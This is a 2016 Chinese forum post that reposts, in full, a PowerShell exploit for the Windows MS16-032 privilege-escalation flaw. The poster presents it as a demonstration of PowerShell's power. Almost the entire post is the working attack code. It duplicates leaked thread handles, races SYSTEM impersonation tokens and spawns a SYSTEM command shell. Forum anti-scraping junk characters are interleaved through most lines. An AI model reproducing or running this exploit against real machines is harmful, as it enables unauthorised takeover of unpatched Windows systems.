古黑币0 个
成长值350 点
金币562 个
精华贴0 个
这个用户很懒,还没有填写自我介绍呢~
本帖最后由 soarcloud 于 2016-8-13 09:44 编辑 0 p2 Q. y6 q1 k
7 R4 H* q* \, h6 j' F- l9 Z之前转了一堆关于Powershell基础的帖子,但是估计大家对Powershell到底能做什么还是没有个具体概念。那么下面就贴个用于用户提权的Powershell代码,看了之后就应该明白Powershell能干什么了#j334:不要问我提权是什么,如果这个都不清楚,那么就再好好学学吧#j346:
/ {5 J( W9 K( w/ V: g3 k, k: v
7 `4 Y# F3 _; a3 `! _+ l( N' N+ l, z" ^0 R: d5 F1 X5 v
function Invoke-MS16-032 {
! j3 p$ G t/ d: Y- Y% [<#) N4 {8 N6 N# H
.SYNOPSIS
( Y* |5 Y- X9 u, p6 O& l# S
# y9 k2 e. A7 F i( g. a& s PowerShell implementation of MS16-032. The exploit targets all vulnerable9 r1 p5 h1 |1 s& R9 @
operating systems that support PowerShell v2+. Credit for the discovery of6 W6 _2 K/ y! s$ y! m' h
the bug and the logic to exploit it go to James Forshaw (@tiraniddo).
, _! }& i+ v1 ~+ w5 E5 t3 Q+ ~* z5 j& R% e- f
Targets:5 y' Q; h$ n% m* j' a
+ N, M9 Q; g8 `
* Win7-Win10 & 2k8-2k12 <== 32/64 bit!
5 a* s1 B9 I7 }* ]# H * Tested on x32 Win7, x64 Win8, x64 2k12R2
6 w" T, e; T/ q* Y- n4 B
7 ^7 R) S: |; I. V Notes:8 @3 l5 I, {0 s1 q4 `- Y9 Y7 _
1 X/ J& h% a( i) u2 N: j, j. h) l * In order for the race condition to succeed the machine must have 2+ CPU
( K; p+ S: ~% G% U5 _ cores. If testing in a VM just make sure to add a core if needed mkay.
0 S: o5 k" X$ P u3 i! | * The exploit is pretty reliable, however ~1/6 times it will say it succeeded
: s8 n! ~# G* i but not spawn a shell. Not sure what the issue is but just re-run and profit!
# B2 j+ U' A9 {" C& R$ ^ F * Want to know more about MS16-032 ==>" D8 [9 j$ y- q( T
https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html
. H% r q& Z4 t/ T) ]+ V: O.DESCRIPTION1 i$ }. Q( y$ J: O4 D1 V7 R% B
Author: Ruben Boonen (@FuzzySec)
8 g3 |' Z! L* [, e/ \% e Blog: http://www.fuzzysecurity.com/
+ y7 t1 Q, }( }& Z! @$ Q$ G License: BSD 3-Clause
$ m2 T1 F8 o# _6 F7 G7 ?+ ^ Required Dependencies: PowerShell v2+. f+ t% ?* q; h2 |. E2 y
Optional Dependencies: None) F! w, E( U; t) A
E-DB Note: Source ~ https://twitter.com/FuzzySec/status/723254004042612736
# q, F- `5 R2 I
+ |* P- `% `* K$ c% h* m.EXAMPLE
% u5 N0 ~4 X: P7 O C:\PS> Invoke-MS16-032
% p* m+ \% B& z9 u8 e- ?' A#># z- p% \, T3 ~
Add-Type -TypeDefinition @"
- Q* Q1 ~0 ]8 b0 X$ L- h8 o using System;
& K9 o' N( x8 ^' W9 }/ o7 C using System.Diagnostics;. W! Q8 ]/ f6 Q, K" f
using System.Runtime.InteropServices;
/ C% Y6 L0 V3 Q% ^: _9 Z using System.Security.Principal;- A* [5 z1 s' w7 q, I
; B% O/ v6 H. I [StructLayout(LayoutKind.Sequential)]' X1 ?2 \3 ?8 V- \$ \
public struct PROCESS_INFORMATION0 e+ L( v* z) B( m; E- m4 y
{, A. R; h2 C5 g
public IntPtr hProcess;
+ }/ T, ]. J* o( k& n8 f public IntPtr hThread;! n8 m5 ?0 L: m! z
public int dwProcessId;6 v" b# ]* Q) m% R+ j" s
public int dwThreadId; M- i9 }- I V, D' W$ U* X4 y
}
8 M9 F$ G6 Q. N; E' M 7 X! y3 d ^" E- z! A2 d" A2 Q, m2 O
[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
! L7 ~2 R# S/ G$ L$ Z public struct STARTUPINFO
3 O, p: R4 }. i2 ~6 M" w& [# E: P {
9 |1 X. `; _$ V7 L public Int32 cb;2 F# j; X. @! U! Z! m$ K
public string lpReserved;! Y$ O! S2 w8 a6 ~! \
public string lpDesktop;
9 |8 @! q: X4 l0 N7 Q public string lpTitle;
! g" \5 p% V' k' @) j public Int32 dwX;
8 y* G: g- ~2 V9 Y. r& V public Int32 dwY;6 k% G8 O2 v, C$ `- f2 O! }
public Int32 dwXSize;
! R9 e, v0 w. N& e1 |9 W public Int32 dwYSize;
7 o7 N+ \, l7 t, E# q" ] public Int32 dwXCountChars;
P4 w& K/ J$ T1 u public Int32 dwYCountChars;
5 y: F7 V/ u, s- } public Int32 dwFillAttribute;
" Y0 a! X4 ]3 d public Int32 dwFlags;
@# m: I7 S$ T9 t# B1 X8 P/ t# Z9 J public Int16 wShowWindow;
- T+ D" A+ t) v% C public Int16 cbReserved2;
+ m) O6 @3 K( n2 W: D public IntPtr lpReserved2;
& l/ F. M! Q+ m2 C" ~ public IntPtr hStdInput;
, \3 {: V4 I t t public IntPtr hStdOutput;
% J2 u! J x. Y+ b$ U public IntPtr hStdError;
: |+ d& L+ d# [, r6 h }
$ W3 m; F" C4 o2 Q & U% w0 d Q% k! _+ j% }
[StructLayout(LayoutKind.Sequential)]
/ E6 f( o6 |! C+ V, C; q* L! F public struct SQOS3 P* |0 q; J! {6 ]! O6 R
{4 B- ? u$ {0 a& H) Z
public int Length;5 k& C. r& I% m9 X2 `! L6 q
public int ImpersonationLevel;
: N6 R# K& v+ P; z public int ContextTrackingMode;
9 m0 u: N; t! K2 Y public bool EffectiveOnly;6 n) e# A" j& i. c# ]
}* h* X+ w1 e+ G4 X5 C# Z3 x
' b) t0 }5 a' n/ n* k2 T; w public static class Advapi32/ h# g q% l# J3 g$ g
{
: r/ G0 @: E9 T* k [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
7 ~# C1 O j1 b) B9 m public static extern bool CreateProcessWithLogonW(' ]2 d0 L4 H3 T) ]$ u3 e5 N
String userName,
6 H9 u0 }; c! y% r8 A: p. ~2 ^. n String domain,
( u( |, }0 d, N J& w String password,& Z6 H" z0 ^/ O. I- {
int logonFlags,6 [/ O- f$ E% c( a' _
String applicationName,
7 T6 h" s. O, D String commandLine,3 V$ w; W' z) n. f8 L9 b
int creationFlags,9 M2 P4 ~/ H3 ~$ d1 V" J* `
int environment,
3 ~1 m4 g8 M$ [8 t n String currentDirectory,7 V" ?, Y) P& i) C% P
ref STARTUPINFO startupInfo,* v' h% ~2 H6 M, A& c
out PROCESS_INFORMATION processInformation);% y0 X6 A0 o3 O( M7 d( v& A! m
4 t3 r+ ~9 u0 e# K7 S
[DllImport("advapi32.dll", SetLastError=true)]
' ?2 ?# D" U4 D/ [ public static extern bool SetThreadToken(% T& s2 o7 j2 c9 D( @& X% Z0 m& w
ref IntPtr Thread,- ?2 k# n( a7 r. ^
IntPtr Token);
4 ]0 b' ]. p( ^4 T3 v
7 b0 y% O) m/ o) j: X$ P' Z [DllImport("advapi32.dll", SetLastError=true)]
" @; B! u* @( q public static extern bool OpenThreadToken(
+ F: g# s0 D4 T" u3 A& k' L5 J, L IntPtr ThreadHandle,+ ~! V* G2 S! t& |! ?4 ^4 {8 g2 R
int DesiredAccess,) M4 A; L/ k% A& r
bool OpenAsSelf,
+ J: [1 N. P4 g7 P1 j out IntPtr TokenHandle);
: Y1 k! c3 P0 ~) {& U
: L" v4 d' D; f. L, ` [DllImport("advapi32.dll", SetLastError=true)]: w- @! A7 M5 u( P
public static extern bool OpenProcessToken(; J4 Q3 v( c5 B. S! s
IntPtr ProcessHandle,
! O- g% d7 a9 `2 x int DesiredAccess,
Z) O! k( E* _ P5 P5 G ref IntPtr TokenHandle);0 z h2 }/ S6 B: i" _! d& l& W# k
7 L- q- ]/ F. L. U/ P. Z [DllImport("advapi32.dll", SetLastError=true)]
% S) C/ y2 g: h9 F$ p) D; G! Q public extern static bool DuplicateToken(
) y8 E8 W8 y( X) c IntPtr ExistingTokenHandle,+ J, q0 S2 Q2 [) S; M
int SECURITY_IMPERSONATION_LEVEL,
% A4 ^' [" K- g+ S2 C: J ref IntPtr DuplicateTokenHandle);. s, _& E' n" |& C! o( @ `
}3 B, e5 F4 z2 ?2 x- h* J
8 @: W, J: t: G: d public static class Kernel320 D! e6 x) F5 o% P8 z1 L% A6 t: t# _
{! u" P7 V7 @* d( W, G+ B2 B; v; k
[DllImport("kernel32.dll")]
e m# c" \4 b" s1 T5 Q, B! g public static extern uint GetLastError();$ R% O- r; d& a: o# E; ~# j) }
7 U( E# P: a! R9 E7 D
[DllImport("kernel32.dll", SetLastError=true)]
1 o6 a* _3 D$ [ public static extern IntPtr GetCurrentProcess();
5 S7 w L* n2 @/ r# @) s
. C( A) \6 ~( X [DllImport("kernel32.dll", SetLastError=true)]
! D# _) m# j* H public static extern IntPtr GetCurrentThread();2 G) [2 T5 y$ X& r: Y2 y- P
4 L' i2 B, T2 R' ?; y, X* U8 @ [DllImport("kernel32.dll", SetLastError=true)]
7 a6 F( Z$ ~+ {2 f& R: ^7 @1 r public static extern int GetThreadId(IntPtr hThread);! Y2 \) w' B: d2 p
, N7 g" B) w9 l+ ^7 } [DllImport("kernel32.dll", SetLastError = true)]7 V1 y4 X8 P% T2 f$ x# J
public static extern int GetProcessIdOfThread(IntPtr handle);
) c7 h3 Q4 b3 j, Y! ^
. p# S( z" N s+ \% S. c9 f1 u3 Q [DllImport("kernel32.dll",SetLastError=true)] A3 {2 j' K# n; w6 A
public static extern int SuspendThread(IntPtr hThread); H+ ]- M: y6 w! ` O
$ p% u" k# m) Y1 f3 b. d
[DllImport("kernel32.dll",SetLastError=true)]
. i. h5 P9 B; N4 }( g1 Y A7 H public static extern int ResumeThread(IntPtr hThread);# X/ I5 }* U/ f8 g& r$ T- b
! v1 k# i! j" a. R9 m8 ~
[DllImport("kernel32.dll", SetLastError=true)]+ r* B& k; G: Y3 P8 K' I! l# Z: W
public static extern bool TerminateProcess(
- I7 k2 d! A7 ]) @; F IntPtr hProcess,/ q `$ w# ^& B# z+ X
uint uExitCode);
. e4 x. X; i* v' c' W+ @ 5 c6 o N; a3 [. Q# i
[DllImport("kernel32.dll", SetLastError=true)]. L, }# h. s( g3 |9 q/ q
public static extern bool CloseHandle(IntPtr hObject);
0 T8 }4 F* P+ c 4 x R9 X8 A8 O$ Y/ m
[DllImport("kernel32.dll", SetLastError=true)]
) Y0 K" A- C4 ^: e public static extern bool DuplicateHandle(/ w9 z# {& a( ?
IntPtr hSourceProcessHandle,+ y& f0 p( ]; D
IntPtr hSourceHandle,
! s) b5 Y/ }" P IntPtr hTargetProcessHandle,
" N L+ f6 K' p. R9 K+ {, f3 q ref IntPtr lpTargetHandle,
; P5 y8 T% t4 _# p A O/ B. e$ s int dwDesiredAccess,
0 J3 A5 V) A) I bool bInheritHandle,
- p( Z. l, {. I" \+ q5 A1 u int dwOptions);0 q( F9 A5 i! b
}# N4 i% z$ e5 S! ]2 c
8 e9 ?9 F4 m4 P1 n( x+ P public static class Ntdll
- w" L6 u5 d: K1 F {" x3 Q" Q) v% I1 H3 ]: D
[DllImport("ntdll.dll", SetLastError=true)]" {% x) d8 @8 F7 n0 C4 g- Y
public static extern int NtImpersonateThread(& F+ N W0 |( T8 I4 P0 p
IntPtr ThreadHandle,- v) ]; J/ N/ H2 u: s: X
IntPtr ThreadToImpersonate,+ Q: \# h$ y* R4 ]4 ^4 P6 `; f
ref SQOS SecurityQualityOfService);0 E1 a; c% m5 S# R, g+ E0 X- I- r* I
}
0 [3 l! z2 q5 o. I"@: {% }: F2 f$ t% g: p
$ n, P& R% |4 B |. E, l, l% t
function Get-ThreadHandle {
6 z/ Y' F, G1 D5 {0 K # StartupInfo Struct: R1 F7 I- O) Z$ h9 T
$StartupInfo = New-Object STARTUPINFO
2 m- }$ L& ?* M8 c# R. F; V $StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES" C3 P: l* F6 ` T% x" Q
$StartupInfo.hStdInput = [Kernel32]::GetCurrentThread()
& A! q: C- K' I, _+ c$ ]% n$ a% H $StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread(); _: R0 @4 i% k% h0 g% y; b1 P9 y
$StartupInfo.hStdError = [Kernel32]::GetCurrentThread()4 p, C* N) _/ D# C, ^
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
# J( S6 m, H% O7 q 2 t( Q, z# `1 T, U5 A
# ProcessInfo Struct
) u* p7 n4 W3 ~" V. p$ _ $ProcessInfo = New-Object PROCESS_INFORMATION+ t9 a" }( s( g
" }7 ^; }. ?0 D6 N0 E+ W # CreateProcessWithLogonW --> lpCurrentDirectory
# @' J- ~$ Z- ?4 r $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName9 w) O5 }1 v& G2 _
5 F- Q0 Y6 D3 q+ W; ]0 z # LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
( v0 c0 X) Q* @# u $CallResult = [Advapi32]::CreateProcessWithLogonW(( B' v9 t4 w3 M% A( E% S2 [! U
"user", "domain", "pass",7 ?, _- s2 |- \# P6 s/ t/ u' T% t
0x00000002, "C:\Windows\System32\cmd.exe", "",
3 L/ E8 ^$ t# N2 y C2 | b. }3 Q8 F1 s 0x00000004, $null, $GetCurrentPath,
: F; \2 M% r- v. q; V5 T [ref]$StartupInfo, [ref]$ProcessInfo), j8 q. U0 S8 N7 @; t1 f# i
* `. t7 Q s) v4 m/ L; ]- a # Duplicate handle into current process -> DUPLICATE_SAME_ACCESS
. P( ]/ {: v& s0 g, L& K $lpTargetHandle = [IntPtr]::Zero
) D* X( L( m/ v2 ^/ c, w $CallResult = [Kernel32]::DuplicateHandle(
+ U0 C0 `3 Z9 W" F" z $ProcessInfo.hProcess, 0x4,
' O' ]# {# E) z/ c D+ [& ~ [Kernel32]::GetCurrentProcess(),8 x8 t, ] k/ _ n/ f
[ref]$lpTargetHandle, 0, $false, f& L) M. |) ~( t, d% R" s5 f9 L$ b
0x00000002)' G; t6 x/ Q( h. q
4 _$ M& s5 D8 V( Y/ M1 L # Clean up suspended process
* w* h+ E0 [% P6 {2 H9 a' D $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
9 `' |* X, v8 f/ r1 X# [0 T $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)2 _' a3 ?' s0 d, X- G; c
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
( T) x# R" Z' j0 G2 u
; j" \' ?5 K% l8 C $lpTargetHandle4 d; B4 R, w) [1 L) B& u
}
' z1 W" b/ {( _' d: l7 p8 J+ O$ o 6 v) A( Q% |0 l l8 Z
function Get-SystemToken {. W5 b: ~2 k3 [, ` P
echo "`n[?] Trying thread handle: $Thread"+ }! N9 w7 l0 R$ H7 k
echo "[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($Thread))).ProcessName)"7 r0 d* J0 p9 y! X! m* Q
% N/ h' f9 O* r) N $CallResult = [Kernel32]::SuspendThread($Thread)
/ B* E( U0 v! L if ($CallResult -ne 0) {
1 y% k; Q5 c8 r) a5 x echo "[!] $Thread is a bad thread, moving on.."
/ a* P* i) | E3 ] Return0 u9 }. K" k5 P" @- ~
} echo "[+] Thread suspended"
/ i" s) _+ N. S9 I o
7 I5 L9 P/ g$ i+ ]9 U- X echo "[>] Wiping current impersonation token"( ]2 o7 s/ ~0 G, w% q
$CallResult = [Advapi32]::SetThreadToken([ref]$Thread, [IntPtr]::Zero)
. H* A* I% \2 G4 {/ N# h8 U0 s if (!$CallResult) {
6 ]' u; Q& u! |+ p( V- S; } echo "[!] SetThreadToken failed, moving on..") G# r* Z/ i* e- o' {: Q- y
$CallResult = [Kernel32]::ResumeThread($Thread)
5 m7 j4 C3 u( g: S3 k, z2 D echo "[+] Thread resumed!"
6 Z3 H, \8 o* ^$ H6 a+ O Return
* \8 X' U& D! u4 ^! @, F+ S9 ^9 z }/ D; \* A: s4 f' \2 [4 z
, A1 x! i" l9 E6 p0 F
echo "[>] Building SYSTEM impersonation token"1 o) u9 X9 Y: q+ U D) U
# SecurityQualityOfService struct7 D7 `5 b- M5 |9 e7 u3 M" S
$SQOS = New-Object SQOS
/ g$ _* C# r2 M$ @' N: j7 d $SQOS.ImpersonationLevel = 2 #SecurityImpersonation
$ @4 Q; ^3 b: I% \/ j5 e( Y: ?8 ~) C# ~ $SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS)
, L8 A( G7 o$ P3 ^1 }( N # Undocumented API's, I like your style Microsoft ;)
! S4 a; c) }( ]' p: o3 e $CallResult = [Ntdll]::NtImpersonateThread($Thread, $Thread, [ref]$sqos)
- A1 w' T# J6 w+ b- x if ($CallResult -ne 0) {$ o/ H3 V- G/ F7 u. {4 G1 C
echo "[!] NtImpersonateThread failed, moving on.."/ o: o3 h/ ~4 `5 D+ q9 u. I5 m: B
$CallResult = [Kernel32]::ResumeThread($Thread)
* U F6 j: |* S+ t. H echo "[+] Thread resumed!"
" m# e/ ~; b' ?% g( {' I9 c3 q Return- m! N2 F6 ` b0 |! S+ N
}
/ A, y: s. q2 j3 j9 w , j0 A4 b8 {7 Q# U" X3 N
$script:SysTokenHandle = [IntPtr]::Zero
; j! g5 y L) i- t' {1 c5 [ # 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE
( }% }+ e( h6 I7 Z' ? $CallResult = [Advapi32]::OpenThreadToken($Thread, 0x0006, $false, [ref]$SysTokenHandle)) ]4 W. R0 I3 K, f- r( S
if (!$CallResult) {" g2 r) h- I; j+ ?& m
echo "[!] OpenThreadToken failed, moving on.."2 B" e' L2 R7 N9 w* J! l
$CallResult = [Kernel32]::ResumeThread($Thread): c, A- h& C7 K- R8 R' K) g1 Q9 O
echo "[+] Thread resumed!"
% L. b9 `+ ] f% A7 }& ^0 _2 T7 m. R Return- {3 w. R$ x5 a7 x7 w' d
}( f' T$ g2 e' T+ Z5 l* Q% X
1 @$ i' a; c7 C" j echo "[?] Success, open SYSTEM token handle: $SysTokenHandle"
2 h3 ?5 v7 w# X echo "[+] Resuming thread.."
$ ~5 a) A$ ? t* D3 Y $CallResult = [Kernel32]::ResumeThread($Thread)
1 r7 B2 b5 [7 F }8 c u8 E6 S. z# q: T
7 f7 |$ ?# C# Z3 Y# T+ i # main() <--- ;)
/ I7 M! n0 w: I% c! J $ms16032 = @"3 [- ~0 Q. L, p( @: }
__ __ ___ ___ ___ ___ ___ ___
/ V5 l5 o- {' H | V | _|_ | | _|___| |_ |_ |. c- H+ K6 O/ ?5 B* k- E2 I
| |_ |_| |_| . |___| | |_ | _|
& w$ ~. s2 H% y7 _9 I8 _- y |_|_|_|___|_____|___| |___|___|___|
( c/ q+ e0 s" [4 u* T , u: Z$ R4 z6 R1 m- J- c3 m
[by b33f -> @FuzzySec]
0 { V6 {5 J& }"@5 y ]* j7 v% r6 m( ]0 H0 i
2 ?+ S. w* s Z4 t $ms16032' u# H! F' @7 ~" B$ l2 f
9 r: B0 D3 q2 z" d # Check logical processor count, race condition requires 2+/ Y, I t; r7 |5 j( P1 |# _
echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)"
: g$ @ h, Q3 F* ]. o" Q6 s if ($([System.Environment]::ProcessorCount) -lt 2) {, B# J3 v4 V5 I7 s; Z8 z
echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n"
# L; L7 Y+ R9 C+ B- O Return
$ w" Z4 \& Z% w7 B3 y- k }
1 Z. b" o0 p; M0 V0 `, T% y2 o) P
8 v- F- O, u0 W1 g$ e1 M8 ~- t1 ] # Create array for Threads & TID's
/ s3 P7 y# m- H $ThreadArray = @()
/ ^: w8 T! [) y/ y: \- d) }: a $TidArray = @()$ o9 u, l( }, W L
- S, W* I9 P- y
echo "[>] Duplicating CreateProcessWithLogonW handles.."1 `/ W$ q- h1 o( j6 y' \; \0 q
# Loop Get-ThreadHandle and collect thread handles with a valid TID
- J8 c2 g$ v* ~, U' {# @ for ($i=0; $i -lt 500; $i++) {
# c, H; O$ @6 i } $hThread = Get-ThreadHandle
8 d% J3 f! R3 J* v) z $hThreadID = [Kernel32]::GetThreadId($hThread)8 L/ \" v3 o9 W9 D& \+ @1 A3 ]
# Bit hacky/lazy, filters on uniq/valid TID's to create $ThreadArray3 p/ W8 i9 Q# o
if ($TidArray -notcontains $hThreadID) {
" o% U6 @' g+ x3 R: U $TidArray += $hThreadID" O7 x; [/ R9 O7 |5 z
if ($hThread -ne 0) {+ Q% p I# k7 G4 |- D6 X& q" A
$ThreadArray += $hThread # This is what we need!
7 c1 C9 ?! [2 K }2 o( c% |# B+ j- w; h0 n! a
}0 h; F1 ~9 y$ B/ |; e5 h7 K& t
}2 Q* s. W4 m& g+ Y5 M1 L3 p6 x
: ?% t: Y2 V) F, Z- p if ($($ThreadArray.length) -eq 0) {, S# [5 ]5 Z. N0 z
echo "[!] No valid thread handles were captured, exiting!"
3 U! W- X9 ^$ [0 N6 E+ {, x Return
" Z e! @6 {# d% R; Q2 h5 [) O3 V0 d# s } else {
6 E2 W8 g+ I- L: O3 C echo "[?] Done, got $($ThreadArray.length) thread handle(s)!"
) v( {$ ~! K1 V3 w0 W- Y5 h; j echo "`n[?] Thread handle list:"
: S1 I+ F" Q- p5 ]: `) ?" X $ThreadArray
/ T# W% |$ M1 V- e" U }0 c( x( Y3 y" d5 N' v2 C( t
2 ^2 s0 |* y/ ~/ E$ z2 r6 O% U
echo "`n Sniffing out privileged impersonation token.."! @4 h3 j# G6 B4 e a
foreach ($Thread in $ThreadArray){
9 O0 ?. d2 ?& K' I0 I _8 W+ Z' S& d' E2 I
# Get handle to SYSTEM access token
$ ]/ f- U7 l! d Get-SystemToken0 g# D. D. v1 @5 O3 n8 @6 k
* J; K7 L" c8 U6 z' t( Z! |
echo "`n Sniffing out SYSTEM shell.."4 s& d1 Z+ f4 q# F
echo "`n[>] Duplicating SYSTEM token"( F7 S" J, R' h- z% r
$hDuplicateTokenHandle = [IntPtr]::Zero
* S4 ]+ z3 g4 |& K $CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle)! y9 W1 N9 K: ^' ?& c
0 l/ s9 h. ?# y( s s' E3 y1 | # Simple PS runspace definition
7 g ~% F, Y* s/ U2 s echo "[>] Starting token race"0 Q6 s% Z9 Y( q( K9 `. C
$Runspace = [runspacefactory]::CreateRunspace()+ N9 \0 |1 o2 x O! Y
$StartTokenRace = [powershell]::Create()
9 P" M6 n+ Y u+ j: Y: V' m $StartTokenRace.runspace = $Runspace
" E M# i. i8 y; E0 Y $Runspace.Open()
% z$ s0 E: k. h# A: n [void]$StartTokenRace.AddScript({
# t6 t7 `% F/ Q7 Q8 M5 o8 s0 D Param ($Thread, $hDuplicateTokenHandle)
0 n2 L9 G2 R' P4 n while ($true) {1 g# N% o4 V/ ?
$CallResult = [Advapi32]::SetThreadToken([ref]$Thread, $hDuplicateTokenHandle)
! `8 v& S; k& K7 p( v" T6 q# W }( ?- c$ o W. j+ {. G; u; @4 l
}).AddArgument($Thread).AddArgument($hDuplicateTokenHandle)5 J3 q- r4 D; L5 K c( A6 b
$AscObj = $StartTokenRace.BeginInvoke()
/ K7 [5 D9 n- p" I5 ^- _6 r3 Z( v 4 p4 B! Z: M( V5 L
echo "[>] Starting process race"- w. u. M4 ^+ b% c, i! G/ o, T
# Adding a timeout (10 seconds) here to safeguard from edge-cases- V+ U! _* X. b" c) Q
$SafeGuard = [diagnostics.stopwatch]::StartNew()
) y: Q( y% A& l' X( _* v* \ while ($SafeGuard.ElapsedMilliseconds -lt 10000) {
# Q) ]: ]/ b- d( Q# l2 u; r3 D/ Y # StartupInfo Struct' ?8 O; J; O( P
$StartupInfo = New-Object STARTUPINFO
' Z" U$ |) V; T $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
, k, j8 a) q6 L n( M2 g
) W/ U! T9 \1 w6 l: V # ProcessInfo Struct
* d+ a9 Q) s+ ~0 @7 m $ProcessInfo = New-Object PROCESS_INFORMATION* j9 v9 N8 q% g e/ X( `% E- e
/ U! s. ~0 ]2 Q9 S( o. G! `2 ^ # CreateProcessWithLogonW --> lpCurrentDirectory
, h3 x% f) l# h $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName+ b1 g0 C' |5 C6 P! A
- f0 o8 z/ [! R4 F ]8 W0 Y+ p8 i
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
% K' x. q/ A# W. C S/ x) p! j. | $CallResult = [Advapi32]::CreateProcessWithLogonW(
, Q& c. c( }( [5 E4 k "user", "domain", "pass",6 Z! m# `: d3 f" N( L* T5 J4 D
0x00000002, "C:\Windows\System32\cmd.exe", "",
, ^6 h( R* p6 h5 B N) D 0x00000004, $null, $GetCurrentPath,
! u! E+ n3 L: A3 G+ x- K [ref]$StartupInfo, [ref]$ProcessInfo)# |' m W0 q P c- w" T' O
# S* H: D. p# V) F8 _, U
$hTokenHandle = [IntPtr]::Zero
0 e+ v- y( t7 J# U4 H1 i4 g $CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle)
) ~# O0 \. R/ J$ \* @ # If we can't open the process token it's a SYSTEM shell!
9 B2 ^% I/ b' b6 q( X' t; v if (!$CallResult) {( `( w$ W; u) I0 N7 s$ t- W
echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n"& l4 ] D/ }6 s# U6 D. @
$CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread)
8 V' @( e, \0 k; {! a: u $StartTokenRace.Stop()
# R. U! M, K) P- D( q $SafeGuard.Stop()7 T" Y) r7 h. A: R1 M6 K
Return
5 p- b: X3 F5 o5 k }1 ^; N0 l* [3 z0 [* I5 @
! G% q* P y+ U$ M
# Clean up suspended process
1 s( ^" u- _2 M& T $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
' G- a+ f4 L7 e $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)3 _6 a& c' K5 k( ]/ ~" y' w& Y
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)' G) i+ @2 S" K' Q
}
) t4 ]/ o# p# ~ U4 d; y% p$ A : w+ X9 @2 Y# x8 J& n$ u
# Kill runspace & stopwatch if edge-case
/ M8 S- i$ s7 u% G; I $StartTokenRace.Stop()
, o3 g0 ?* [1 U& G $SafeGuard.Stop()# q& _5 M( z6 m% C% N8 s( p: x6 P
}9 C: }) {& V% O1 Q# a5 W% Q
}
% X4 J6 p9 D3 f& L' h9 {7 D% x看完代码后,长期从事windows编程的同学应该已经看出来powershell的强大功能了吧。呵呵。+ {4 Y) b; R3 V8 Z
M i# k5 _4 c i8 N# N+ A
! D& N4 ?" I% F! f1 ~/ G
! U/ G; M. L W3 z; F
" u% n# a/ V( g) G0 i' z4 B0 q' p5 n0 F0 \! f; A& O3 \6 Z* G3 |
|
|